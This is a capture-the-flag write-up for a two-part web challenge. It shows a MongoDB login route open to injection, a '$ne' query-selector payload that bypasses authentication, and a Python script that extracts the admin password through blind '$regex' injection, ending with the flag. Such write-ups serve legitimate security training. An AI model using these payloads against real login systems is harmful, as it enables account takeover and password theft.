Two parts, 130pts total.
Part 1
No Sequels Web 50
The prequels sucked, and the sequels aren’t much better, but at least we always have the original trilogy.
Author: SirIan
Part 2
No Sequels 2 Web 80
This is the sequel to No Sequels. You’ll see the challenge page once you solve the first one.
Author: SirIan
The linked page is a simple login screen, with a snippet of NodeJS code for the POST /login
route provided
router.post('/login', verifyJwt, function (req, res) {
// monk instance
var db = req.db;
var user = req.body.username;
var pass = req.body.password;
if (!user || !pass){
res.send("One or more fields were not provided.");
}
var query = {
username: user,
password: pass
}
db.collection('users').findOne(query, function (err, user) {
if (!user){
res.send("Wrong username or password");
return
}
res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
res.redirect("/site");
});
});
In the code, the POST body parameters username
and password
are passed directly to a database without sanitisation. This is probably an injection point.
The syntax used (db.collection('users').findOne(…
) looks like mongodb, and the reference to a “monk instance” confirms this.
Using a list of NoSQL payloads we can get issued an authenticated JWT with the following payload. This should result in authentication as the first available user record.
{
"username": {"$ne": null},
"password": {"$ne": null}
}
The server dutifully responds with a user token and redirects.
The authenticated page at GET /site
provides the name of the admin user object in the database, and the code snippet for the POST route
router.post('/site', verifyJwt, function (req, res) {
// req.user is assigned from verifyJwt
if (!req.user.authenticated || !req.body.pass2) {
res.send("bad");
}
var query = {
username: req.user.name,
}
var db = req.db;
db.collection('users').findOne(query, function (err, user) {
console.log(user);
if (!user){
res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
}
var pass = user.password;
var message = "";
if (pass === req.body.pass2){
res.render('final');
} else {
res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
}
});
});
The next flag requires acquisition of the password for user ‘admin’.
In part 1 mongodb query selectors were used for both the user and password parameters provided to POST /login
.
Now that the target username is known, it will be possible to reconstruct the password with a Blind NoSQL injection on the password field.
This script from github is more than sufficient. It uses the regex query selector to build the password one character at a time.
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="https://nosequels.2019.chall.actf.co/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
After retrieving the password (“congratsyouwin”) it is possible to log in to the page in part 2 and get the flag: act{still_no_sql_in_the_sequel}